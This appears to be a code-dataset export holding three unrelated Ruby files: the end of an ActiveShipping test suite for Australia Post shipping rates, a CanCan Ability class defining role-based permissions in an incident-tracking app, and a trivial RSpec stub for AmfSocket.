response = @carrier.calculate_rates(@sydney, @melbourne, package_fixtures.values_at(:book, :small_half_pound), 'AUS_PARCEL_EXPRESS')
assert response.is_a?(RateResponse)
assert response.success?
assert response.rates.any?
assert response.rates.first.is_a?(RateEstimate)
assert_equal 2, response.params["responses"].size
assert_equal 2, response.request.size
end
def test_calculate_international_simple_request
response = @carrier.calculate_rates(@sydney, @ottawa, package_fixtures[:wii], 'INT_PARCEL_COR_OWN_PACKAGING')
assert response.is_a?(RateResponse)
assert response.success?
assert response.rates.any?
assert response.rates.first.is_a?(RateEstimate)
assert_equal 1, response.params["responses"].size
assert_equal 1, response.request.size
end
def test_calculate_domestic_combined_request
response = @carrier.calculate_rates(@sydney, @ottawa, package_fixtures.values_at(:book, :small_half_pound), 'INT_PARCEL_COR_OWN_PACKAGING')
assert response.is_a?(RateResponse)
assert response.success?
assert response.rates.any?
assert response.rates.first.is_a?(RateEstimate)
assert_equal 2, response.params["responses"].size
assert_equal 2, response.request.size
end
def test_calculate_domestic_response_error
error = assert_raises(ActiveShipping::ResponseError) do
@carrier.calculate_rates(@sydney, @melbourne, package_fixtures[:wii], 'INT_PARCEL_COR_OWN_PACKAGING')
end
assert_equal 'Please enter a valid Service code.', error.message
end
def test_calculate_international_response_error
error = assert_raises(ActiveShipping::ResponseError) do
@carrier.calculate_rates(@sydney, @ottawa, package_fixtures[:wii], 'AUS_PARCEL_EXPRESS')
end
assert_equal 'Please enter a valid Service code.', error.message
end
end
| 35.177305 | 143 | 0.762097 |
ab6c328b2e979d4416a836707e824c264ea81994 | 4,890 | class Ability
include CanCan::Ability
def initialize(user)
user ||= User.new
permissions_for user, as: :admin do
can :manage, :all
end
permissions_for user, as: :manager do
can :first_login, User
can [ :update, :update_password, :update_settings, :setup ], User, id: user.id
can :read, Division
can :read, Service
can :read, ServiceClass
can :read, Server
can :read, ServerProblem
can :read, ServerCategory
can :read, Problem
can :read, Solution
can :read, ProblemSolution
can :read, Document
can :read, Category
can :read, Tag
can :read, ProblemTag
can :update, Document, user_id: user.id
can :create, Document
can :comment, Document
can :create, Comment
can :create, Comment
can :create, DocumentComment
can :create, IncedentComment
can :add, Document
can :add, Incedent
can :create, Incedent
can :watch, Incedent
can :work, Incedent
can :play, Incedent
can :read, Incedent
can :create, Attach
can :create, CommentAttach
can :create, IncedentAttach
can :create, DocumentAttach
can :create, ServerAttach
can [:update, :destroy], Incedent, operator_id: user.id
can [:comment, :archive, :solve, :close, :update, :replay], Incedent, initiator_id: user.id
can [:reject, :replay, :pause, :stop, :archive, :comment, :close], Incedent, incedent_workers: { user_id: user.id }
can [:unwatch, :observe, :comment, :archive], Incedent, incedent_observers: { user_id: user.id }
can [:review, :onreview, :comment, :reject], Incedent, incedent_reviewers: { user_id: user.id }
end
permissions_for user, as: :executor do
can :first_login, User
can [ :update, :update_password, :update_settings, :setup ], User, id: user.id
can :read, Division
can :read, Service
can :read, ServiceClass
can :read, Server
can :read, ServerProblem
can :read, ServerCategory
can :read, Problem
can :read, Solution
can :read, ProblemSolution
can :read, Document
can :read, Category
can :read, Tag
can :read, ProblemTag
can :update, Document, user_id: user.id
can :create, Document
can :comment, Document
can :create, Comment
can :create, Comment
can :create, DocumentComment
can :create, IncedentComment
can :add, Document
can :add, Incedent
can :create, Incedent
can :play, Incedent
can :read, Incedent
can :watch, Incedent
can :create, Attach
can :create, CommentAttach
can :create, IncedentAttach
can :create, DocumentAttach
can :create, ServerAttach
can :update, Incedent, operator_id: user.id
can [:comment, :archive, :solve, :close, :replay, :update], Incedent, initiator_id: user.id
can [:comment, :archive, :close, :reject, :replay, :stop, :pause, :work], Incedent, incedent_workers: { user_id: user.id }
can [:comment, :archive], Incedent, incedent_observers: { user_id: user.id }
can [:review, :onreview, :comment, :reject], Incedent, incedent_reviewers: { user_id: user.id }
end
permissions_for user, as: [:operator, :client] do
can :first_login, User
can [ :update, :update_password, :update_settings, :setup ], User, id: user.id
can :read, Division
can :read, Service
can :read, ServiceClass
can :read, Document
can :update, Document, user_id: user.id
can :add, Document
can :add, Incedent
can :create, Document
can :create, Incedent
can :create, Comment
can :comment, Document
can :create, DocumentComment
can :create, IncedentComment
can :create, Incedent
can :create, Attach
can :create, CommentAttach
can :create, IncedentAttach
can :create, DocumentAttach
can [:update, :read], Incedent, operator_id: user.id
can [:comment, :archive, :solve, :close, :replay, :play, :update, :read], Incedent, initiator_id: user.id
can [:comment, :archive, :close, :reject, :replay, :stop, :pause, :play], Incedent, incedent_workers: { user_id: user.id }
can [:comment, :archive], Incedent, incedent_observers: { user_id: user.id }
can [:review, :onreview, :reject, :comment], Incedent, incedent_reviewers: { user_id: user.id }
can :read, Incedent, [ 'incedents.id in (select incedent_id from incedent_workers where user_id = ?)', user.id ] { |incedent| true }
can :read, Incedent, [ 'incedents.id in (select incedent_id from incedent_observers where user_id = ?)', user.id ] { |incedent| true }
can :read, Incedent, [ 'incedents.id in (select incedent_id from incedent_reviewers where user_id = ?)', user.id ] { |incedent| true }
end
end
end | 38.809524 | 140 | 0.640491 |
6a9bb5c8c52d6339776de90cf837d683328c441d | 151 | require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
describe AmfSocket do
it 'should make sure 5 == 5' do
5.should == 5
end
end
| 18.875 | 65 | 0.695364 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.